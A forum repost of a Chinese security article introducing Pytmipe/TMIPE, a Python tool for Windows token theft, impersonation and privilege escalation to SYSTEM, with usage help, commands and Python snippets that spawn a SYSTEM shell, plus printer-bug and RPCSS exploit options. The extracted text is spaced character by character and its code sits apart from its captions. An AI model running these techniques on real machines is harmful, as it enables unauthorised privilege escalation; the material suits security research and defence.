搜索

[16272] 2021-01-02_安全研究如何使用Pytmipe实现Windows上的令牌篡改和提权

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-18
2021-01-02_安全研究如何使用Pytmipe实现Windows上的令牌篡改和提权 安 全 研 究   |   如 何 使 用 P y t m i p e 实 现 W i n d o w s 上 的 令 牌 篡 改 和 提 权 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 1 - 0 2 P Y T M I P E   &   T M I P E P Y T M I P E   （ 通 过 令 牌 篡 改 和 伪 造 实 现 提 权 的 P y t h o n 库 ） 是 一 个 P y t h o n   3 库 ， 支 持 在 W i n d o w s 系 统 中 实 现 令 牌 篡 改 和 模 拟 ， 最 终 实 现 权 限 提 升 。 T M I P E 则 是 一 个 P y t h o n   3 客 户 端 ， 它 主 要 使 用 的 就 是 p y t m i p e 库 。 P S ： 本 文 仅 用 于 技 术 讨 论 和 研 究 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 项 目 包 含 项 目 包 含 一 个 P y t h o n 客 户 端 ： t m i p e （ p y t h o n 3   t m i p e . p y ） ； 一 个 P y t h o n 库 ： p y t m i p e ， 用 于 将 该 项 目 与 其 他 项 目 整 合 ； P y t i n s t a l l e r 样 例 ， 用 于 获 取 可 执 行 文 件 ； 主 要 功 能 主 要 功 能 方 法 方 法 需 要 的 权 限 需 要 的 权 限 操 作 系 统 操 作 系 统 ( 未 包 含 全 部 未 包 含 全 部 ) 直 接 目 标 直 接 目 标 ( 最 佳 效 果 最 佳 效 果 ) 令 牌 创 建 & 伪 造 用 户 名 &   密 码 A l l l o c a l   a d m i n i s t r a t o r 令 牌 伪 造 & 窃 取 S e D e b u g P r i v i l e g e A l l n t   a u t h o r i t y s y s t e m 父 P I D 嗅 探 ( 句 柄 继 承 ) S e D e b u g P r i v i l e g e > =   V i s t a n t   a u t h o r i t y s y s t e m 服 务 ( S C M ) 本 地 管 理 员 A l l n t   a u t h o r i t y s y s t e m   o r   d o m a i n   a c c o u n t W M I   事 件 本 地 管 理 员 A l l n t   a u t h o r i t y s y s t e m «   指 针 漏 洞   »   L P E S e I m p e r s o n a t e P r i v i l e g e   ( S e r v i c e   账 号 ) W i n d o w s   8 . 1 ,   1 0   &   S e r v e r   2 0 1 2 R 2 / 2 0 1 6 / 2 0 1 9 n t   a u t h o r i t y s y s t e m R P C S S   服 务 L P E S e I m p e r s o n a t e P r i v i l e g e   ( S e r v i c e   账 号 ) W i n d o w s   1 0   &   S e r v e r   2 0 1 6 / 2 0 1 9 n t   a u t h o r i t y s y s t e m 工 具 依 赖 工 具 依 赖 c t y p e s 使 用 的 情 况 非 常 多 ， p y w i n 3 2 的 很 多 功 能 都 已 经 整 合 进 了 p y t m i p e ， 以 获 得 更 好 的 可 移 植 性 。 但 是 ， 目 前 由 于 时 间 紧 任 务 中 ， 任 务 调 度 程 序 模 块 仍 然 使 用 p y w i n 3 2 （ 更 确 切 地 说 是 p y t h o n c o m ） 。 所 有 其 他 模 块 仅 使 用 c t y p e s 。 工 具 下 载 工 具 下 载 广 大 研 究 人 员 可 以 使 用 下 列 命 令 将 该 项 目 源 码 克 隆 至 本 地 ： 工 具 使 用 工 具 使 用 针 对 p y t h o n 客 户 端 （ t m i p e ） ： g i t   c l o n e   h t t p s : / / g i t h u b . c o m / q u e n t i n h a r d y / p y t m i p e . g i t p y t h o n . e x e   t m i p e . p y   - h u s a g e :   t m i p e . p y   [ - h ]   [ - - v e r s i o n ]                                 { c a n g e t a d m i n , p r i n t a l l t o k e n s , p r i n t a l l t o k e n s b y n a m e , p r i n t a l l t o k e n s b y p i d , p r i n t s y s t e m t o k e n s , s e a r c h i m p f i r s t s y s t e m , i m p p i d , i m p t o k e n , p r i n t e r b u g , r p c s s , s p o o f , i m p u s e r , r u n a s , s c m }                                 . . .                                             * *         8 8 8 8 8 8     8 b         d 8     8 8     8 8 " " Y b     8 8 8 8 8 8             8 8         8 8 b     d 8 8     8 8     8 8 _ _ d P     8 8 _ _             8 8         8 8 Y b d P 8 8     8 8     8 8 " " "       8 8 " "             8 8         8 8   Y Y   8 8     8 8     8 8             8 8 8 8 8 8 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - T o k e n   M a n i p u l a t i o n ,   I m p e r s o n a t i o n   a n d           P r i v i l e g e   E s c a l a t i o n   ( T o o l )
针 对 p y t h o n 库 （ p y t m i p e ） ， 可 以 直 接 查 看 源 码 和 样 本 ， 这 些 我 已 经 提 供 了 非 常 详 细 的 文 档 以 供 参 考 。 针 对 p y i n s t a l l e r 样 本 和 可 执 行 文 件 ， 请 查 看 该 项 目 的 s r c / e x a m p l e s / 文 件 夹 。 工 具 使 用 样 例 工 具 使 用 样 例 样 例 一 ： 拿 到 样 例 一 ： 拿 到 n t   a u t h o r i t y s y s t e m 如 需 伪 造 第 一 个 s y s t e m 令 牌 ， 并 以 s y s t e m 权 限 打 开 c m d . e x e （ 使 用 p y t h o n 客 户 端 - t m i p e ） ： 我 们 也 可 以 直 接 使 用 p y t m i p e 库 来 进 行 相 同 操 作 ： 样 例 二 ： 拿 到 令 牌 样 例 二 ： 拿 到 令 牌 获 取 当 前 进 程 中 的 主 令 牌 ： 输 出 ： - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - B y   Q u e n t i n   H A R D Y   ( q u e n t i n . h a r d y @ p r o t o n m a i l . c o m ) p o s i t i o n a l   a r g u m e n t s :     { c a n g e t a d m i n , p r i n t a l l t o k e n s , p r i n t a l l t o k e n s b y n a m e , p r i n t a l l t o k e n s b y p i d , p r i n t s y s t e m t o k e n s , s e a r c h i m p f i r s t s y s t e m , i m p p i d , i m p t o k e n , p r i n t e r b u g , r p c s s , s p o o f , i m p u s e r , r u n a s , s c m }                                                   C h o o s e   a   m a i n   c o m m a n d         c a n g e t a d m i n                     C h e c k   i f   u s e r   c a n   g e t   a d m i n   a c c e s s         p r i n t a l l t o k e n s               P r i n t   a l l   t o k e n s   a c c e s s i b l e   f r o m   c u r r e n t   t h r e a d         p r i n t a l l t o k e n s b y n a m e                                                   P r i n t   a l l   t o k e n s   a c c e s s i b l e   f r o m   c u r r e n t   t h r e a d   b y   a c c o u n t   n a m e         p r i n t a l l t o k e n s b y p i d     P r i n t   a l l   t o k e n s   a c c e s s i b l e   f r o m   c u r r e n t   t h r e a d   b y   p i d         p r i n t s y s t e m t o k e n s         P r i n t   a l l   s y s t e m   t o k e n s   a c c e s s i b l e   f r o m   c u r r e n t         s e a r c h i m p f i r s t s y s t e m                                                   s e a r c h   a n d   i m p e r s o n a t e   f i r s t   s y s t e m   t o k e n         i m p p i d                               i m p e r s o n a t e   p r i m a r y   t o k e n   o f   s e l e c t e d   p i d   a n d   t r y   t o   s p a w n   c m d . e x e         i m p t o k e n                           i m p e r s o n a t e   p r i m a r y   o r   i m p e r s o n a t i o n   t o k e n   o f   s e l e c t e d   p i d / h a n d l e   a n d   t r y   t o   s p a w n   c m d . e x e         p r i n t e r b u g                       e x p l o i t   t h e   " p r i n t e r   b u g "   f o r   g e t t i n g   s y s t e m   s h e l l         r p c s s                                 e x p l o i t   " r p c s s "   f o r   g e t t i n g   s y s t e m   s h e l l         s p o o f                                 p a r e n t   P I D   S p o o f i n g   ( " h a n d l e   i n h e r i t a n c e ) "         i m p u s e r                             c r e a t e   p r o c e s s   w i t h   c r e d s   w i t h   i m p e r s o n a t i o n         r u n a s                                 c r e a t e   p r o c e s s   w i t h   c r e d s   a s   r u n a s         s c m                                     c r e a t e   p r o c e s s   w i t h   S e r v i c e   C o n t r o l   M a n a g e r o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                           s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - - v e r s i o n                             s h o w   p r o g r a m ' s   v e r s i o n   n u m b e r   a n d   e x i t p y t h o n . e x e   t m i p e . p y   s e a r c h i m p f i r s t s y s t e m   - v v f r o m   i m p e r s o n a t e   i m p o r t   I m p e r s o n a t e f r o m   u t i l s   i m p o r t   c o n f i g u r e L o g g i n g c o n f i g u r e L o g g i n g ( ) i m p   =   I m p e r s o n a t e ( ) i m p . s e a r c h A n d I m p e r s o n a t e F i r s t S y s t e m T o k e n ( t a r g e t P I D = N o n e ,   p r i n t A l l T o k e n s = F a l s e ) p y t h o n . e x e   t m i p e . p y   p r i n t a l l t o k e n s   - - c u r r e n t   - - f u l l   - - l i n k e d -   P I D :   3 2 1 2 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
如 需 从 当 前 线 程 获 取 所 有 的 令 牌 ， 可 以 使 用 下 列 命 令 ： 输 出 ： - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -     -   P I D :   3 2 1 2     -   t y p e :   P r i m a r y   ( 1 )     -   t o k e n :   7 6 4     -   h v a l :   N o n e     -   i h a n d l e :   N o n e     -   s i d :   S - 1 - 5 - 1 8     -   a c c o u n t n a m e :   { ' N a m e ' :   ' S Y S T E M ' ,   ' D o m a i n ' :   ' N T   A U T H O R I T Y ' ,   ' t y p e ' :   1 }     -   i n t l v l :   S y s t e m     -   o w n e r :   S - 1 - 5 - 3 2 - 5 4 4     -   G r o u p s :         -   S - 1 - 5 - 3 2 - 5 4 4 :   { ' N a m e ' :   ' A d m i n i s t r a t o r s ' ,   ' D o m a i n ' :   ' B U I L T I N ' ,   ' t y p e ' :   4 }   ( E N A B L E D ,   E N A B L E D _ B Y _ D E F A U L T ,   O W N E R )         -   S - 1 - 1 - 0 :   { ' N a m e ' :   ' E v e r y o n e ' ,   ' D o m a i n ' :   ' ' ,   ' t y p e ' :   5 }   ( E N A B L E D ,   E N A B L E D _ B Y _ D E F A U L T ,   M A N D A T O R Y )         -   S - 1 - 5 - 1 1 :   { ' N a m e ' :   ' A u t h e n t i c a t e d   U s e r s ' ,   ' D o m a i n ' :   ' N T   A U T H O R I T Y ' ,   ' t y p e ' :   5 }   ( E N A B L E D ,   E N A B L E D _ B Y _ D E F A U L T ,   M A N D A T O R Y )         -   S - 1 - 1 6 - 1 6 3 8 4 :   { ' N a m e ' :   ' S y s t e m   M a n d a t o r y   L e v e l ' ,   ' D o m a i n ' :   ' M a n d a t o r y   L a b e l ' ,   ' t y p e ' :   1 0 }   ( I N T E G R I T Y _ E N A B L E D ,   I N T E G R I T Y )     -   P r i v i l e g e s   ( U s e r   R i g h t s ) :         -   S e A s s i g n P r i m a r y T o k e n P r i v i l e g e :   E n a b l e d         [ . . . ]         -   S e T r u s t e d C r e d M a n A c c e s s P r i v i l e g e :   E n a b l e d     -   i s s y s t e m :   T r u e     -   s e s s i o n I D :   1     -   e l e v a t i o n t y p e :   D e f a u l t   ( 1 )     -   i s e l e v a t e d :   T r u e     -   L i n k e d   T o k e n :   N o n e     -   t o k e n s o u r c e :   b ' * S Y S T E M * '     -   p r i m a r y s i d g r o u p :   S - 1 - 5 - 1 8     -   i s r e s t r i c t e d :   F a l s e     -   h a s r e s t r i c i t i o n s :   T r u e     -   D e f a u l t   D A C L :         -   { ' a c e _ t y p e ' :   ' A L L O W ' ,   ' a c e _ f l a g s ' :   ' ' ,   ' r i g h t s ' :   ' 0 x 1 0 0 0 0 0 0 0 ' ,   ' o b j e c t _ g u i d ' :   ' ' ,   ' i n h e r i t _ o b j e c t _ g u i d ' :   ' ' ,   ' a c c o u n t _ s i d ' :   ' S - 1 - 5 - 1 8 ' }         -   { ' a c e _ t y p e ' :   ' A L L O W ' ,   ' a c e _ f l a g s ' :   ' ' ,   ' r i g h t s ' :   ' 0 x a 0 0 2 0 0 0 0 ' ,   ' o b j e c t _ g u i d ' :   ' ' ,   ' i n h e r i t _ o b j e c t _ g u i d ' :   ' ' ,   ' a c c o u n t _ s i d ' :   ' S - 1 - 5 - 3 2 - 5 4 4 ' }     [ . . . ]     -   M a n d a t o r y   P o l i c y :   N O _ W R I T E _ U P p y t h o n . e x e   t m i p e . p y   p r i n t a l l t o k e n s b y p i d   - - i m p - o n l y [ . . . ] -   P I D   4 2 7 6 :                 -   S - 1 - 5 - 1 8 :   N T   A U T H O R I T Y S Y S T E M   ( p o s s i b l e   i m p :   T r u e ) -   P I D   7 2 5 2 :                 -   N o n e
如 果 想 要 使 用 p y t m i p e 库 来 实 现 这 个 操 作 ， 也 非 常 简 单 ： 样 例 三 ： 伪 造 令 牌 样 例 三 ： 伪 造 令 牌 我 们 可 以 选 择 一 个 令 牌 进 行 伪 造 。 第 一 步 ， 根 据 我 们 的 过 滤 器 获 取 所 有 的 令 牌 ： 输 出 ： 输 出 结 果 显 示 ， 伪 造 的 令 牌 位 于 P I D   2 2 8 8 ， 该 令 牌 具 有 完 整 性 级 别 系 统 。 可 以 使 用 以 下 命 令 伪 造 此 特 定 令 牌 ： -   P I D   1 6 6 0 :                 -   S - 1 - 5 - 2 1 - 2 8 6 2 4 0 5 6 - 3 3 9 2 3 0 8 7 0 8 - 4 4 0 8 7 6 0 4 8 - 1 1 0 6 :   D O M A I N U S E R   ( p o s s i b l e   i m p :   T r u e )                 -   S - 1 - 5 - 2 0 :   N T   A U T H O R I T Y N E T W O R K   S E R V I C E   ( p o s s i b l e   i m p :   T r u e )                 -   S - 1 - 5 - 1 8 :   N T   A U T H O R I T Y S Y S T E M   ( p o s s i b l e   i m p :   T r u e )                 -   S - 1 - 5 - 9 0 - 0 - 1 :   W i n d o w   M a n a g e r D W M - 1   ( p o s s i b l e   i m p :   T r u e )                 -   S - 1 - 5 - 1 9 :   N T   A U T H O R I T Y L O C A L   S E R V I C E   ( p o s s i b l e   i m p :   T r u e ) [ . . . ] f r o m   i m p e r s o n a t e   i m p o r t   I m p e r s o n a t e f r o m   u t i l s   i m p o r t   c o n f i g u r e L o g g i n g c o n f i g u r e L o g g i n g ( ) i m p   =   I m p e r s o n a t e ( ) i m p . p r i n t A l l T o k e n s A c c e s s i b l e ( t a r g e t P I D = N o n e ,   p r i n t F u l l = T r u e ,   p r i n t L i n k e d = T r u e ,   _ u s e T h r e a d M e t h o d = F a l s e ) p y t h o n . e x e   t m i p e . p y   p r i n t a l l t o k e n s   - - f i l t e r   { " s i d " : " S - 1 - 5 - 1 8 " , " c a n i m p e r s o n a t e " : t r u e } [ . . . ] -   P I D :   2 2 8 8 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -     -   P I D :   2 2 8 8     -   t y p e :   I m p e r s o n a t i o n   ( 2 )     -   t o k e n :   2 5 0 4     -   i h a n d l e :   1 1 8     -   s i d :   S - 1 - 5 - 1 8     -   a c c o u n t n a m e :   { ' N a m e ' :   ' S Y S T E M ' ,   ' D o m a i n ' :   ' N T   A U T H O R I T Y ' ,   ' t y p e ' :   1 }     -   i n t l v l :   S y s t e m     -   o w n e r :   S - 1 - 5 - 1 8     -   i s s y s t e m :   T r u e     -   e l e v a t i o n t y p e :   D e f a u l t   ( 1 )     -   i s e l e v a t e d :   T r u e     -   l i n k e d t o k e n :   N o n e     -   i m p l e v e l :   I m p e r s o n a t e   ( 2 )     -   a p p c o n t a i n e r t o k e n :   F a l s e     [ . . . ]     -   p r i m a r y s i d g r o u p :   S - 1 - 5 - 1 8     -   i s r e s t r i c t e d :   F a l s e     -   h a s r e s t r i c i t i o n s :   T r u e     -   M a n d a t o r y   P o l i c y :   V A L I D _ M A S K     -   c a n i m p e r s o n a t e :   T r u e [ . . . ]
这 条 命 令 将 以 n t   a u t h o r i t y s y s t e m 权 限 打 开 c m d . e x e 。 我 们 也 可 以 使 用 p y t m i p e 库 来 实 现 相 同 的 效 果 ， 下 面 的 源 代 码 能 够 伪 造 第 一 个 可 用 的 s y s t e m 令 牌 ， 并 打 印 有 效 令 牌 ： 项 目 地 址 项 目 地 址 P y t m i p e ： h t t p s : / / g i t h u b . c o m / q u e n t i n h a r d y / p y t m i p e 参 考 资 料 参 考 资 料 h t t p s : / / g i t h u b . c o m / q u e n t i n h a r d y / p y t m i p e / b l o b / m a s t e r / d o c / W i n d o w s _ T o k e n s _ I m p e r s o n a t i o n _ P E _ Q u e n t i n _ H A R D Y _ 2 0 2 0 _ v 1 . 0 . p d f h t t p s : / / c o n n e c t . e d - d i a m o n d . c o m / M I S C / M I S C - 1 1 2 / M a n i p u l a t i o n - d e - t o k e n s - i m p e r s o n a t i o n - e t - e l e v a t i o n - d e - p r i v i l e g e s 精 彩 推 荐 精 彩 推 荐 p y t h o n . e x e   t m i p e . p y   i m p t o k e n   - - p i d   2 2 8 8   - - i h a n d l e   1 1 8   - v v f r o m   i m p e r s o n a t e   i m p o r t   I m p e r s o n a t e f r o m   w i n d e f   i m p o r t   T o k e n I m p e r s o n a t i o n a l l T o k e n s   =   i m p . g e t T o k e n s A c c e s s i b l e F i l t e r ( t a r g e t P I D = N o n e ,                                                                                     f i l t e r = { ' c a n i m p e r s o n a t e ' : T r u e ,   ' s i d ' : ' S - 1 - 5 - 1 8 ' ,   ' t y p e ' : T o k e n I m p e r s o n a t i o n } ,                                                                                     _ u s e T h r e a d M e t h o d = F a l s e ) i f   a l l T o k e n s   = =   { }   o r   a l l T o k e n s = = N o n e :         p r i n t ( " N o   o n e   t o k e n   f o u n d   f o r   i m p e r s o n a t i o n " ) e l s e :         p i d   =   l i s t ( a l l T o k e n s . k e y s ( ) ) [ 0 ]   # u s e   t h e   f i r s t   t o k e n   o f   t h e   f i r s t   p i d   r e t u r n e d   i n   ' a l l T o k e n s '         f i r s t I H a n d l e   =   a l l T o k e n s [ p i d ] [ 0 ] [ ' i h a n d l e ' ]         i m p . p r i n t T h i s T o k e n ( a l l T o k e n s ,   p i d ,   f i r s t I H a n d l e )         i m p . i m p e r s o n a t e T h i s T o k e n ( p i d = p i d ,   i H a n d l e = f i r s t I H a n d l e )         p r i n t ( " C u r r e n t   E f f e c t i v e   t o k e n   f o r   c u r r e n t   t h r e a d   a f t e r   i m p e r s o n a t i o n : " )         i m p . p r i n t C u r r e n t T h r e a d E f f e c t i v e T o k e n ( p r i n t F u l l = F a l s e ,   p r i n t L i n k e d = F a l s e )         i m p . t e r m i n a t e I m p e r s o n a t i o n ( )         p r i n t ( " C u r r e n t   E f f e c t i v e   t o k e n   f o r   c u r r e n t   t h r e a d   ( i m p e r s o n a t i o n   f i n i s h e d ) : " )         i m p . p r i n t C u r r e n t T h r e a d E f f e c t i v e T o k e n ( p r i n t F u l l = F a l s e ,   p r i n t L i n k e d = F a l s e )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理